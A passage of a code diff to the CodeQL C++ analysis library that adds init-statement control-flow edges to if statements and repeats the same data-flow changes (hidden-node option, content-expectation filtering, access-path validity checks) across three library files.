+      i = 7 and ni = s and spec.isAfter()
     )
   or
   scope =
@@ -836,8 +839,15 @@ private predicate subEdge(Pos p1, Node n1, Node n2, Pos p2) {
     p2.nodeAt(n2, f)
   )
   or
-  // IfStmt -> condition ; { then, else } ->
+  // IfStmt -> [ init -> ] condition ; { then, else } ->
   exists(IfStmt s |
+    p1.nodeAt(n1, s) and
+    p2.nodeBefore(n2, s.getInitialization())
+    or
+    p1.nodeAfter(n1, s.getInitialization()) and
+    p2.nodeBefore(n2, s.getCondition())
+    or
+    not exists(s.getInitialization()) and
     p1.nodeAt(n1, s) and
     p2.nodeBefore(n2, s.getCondition())
     or
@@ -851,8 +861,15 @@ private predicate subEdge(Pos p1, Node n1, Node n2, Pos p2) {
     p2.nodeAfter(n2, s)
   )
   or
-  // ConstexprIfStmt -> condition ; { then, else } -> // same as IfStmt
+  // ConstexprIfStmt -> [ init -> ] condition ; { then, else } -> // same as IfStmt
   exists(ConstexprIfStmt s |
+    p1.nodeAt(n1, s) and
+    p2.nodeBefore(n2, s.getInitialization())
+    or
+    p1.nodeAfter(n1, s.getInitialization()) and
+    p2.nodeBefore(n2, s.getCondition())
+    or
+    not exists(s.getInitialization()) and
     p1.nodeAt(n1, s) and
     p2.nodeBefore(n2, s.getCondition())
     or
@@ -953,7 +970,7 @@ private predicate subEdge(Pos p1, Node n1, Node n2, Pos p2) {
 private predicate subEdgeIncludingDestructors(Pos p1, Node n1, Node n2, Pos p2) {
   subEdge(p1, n1, n2, p2)
   or
-  // If `n1` has sub-nodes to accomodate destructors, but there are none to be
+  // If `n1` has sub-nodes to accommodate destructors, but there are none to be
   // called, connect the "before destructors" node directly to the "after
   // destructors" node. For performance, only do this when the nodes exist.
   exists(Pos afterDtors | afterDtors.isAfterDestructors() | subEdge(afterDtors, n1, _, _)) and
diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll
+++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll
+++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl2.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll
+++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowImpl3.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
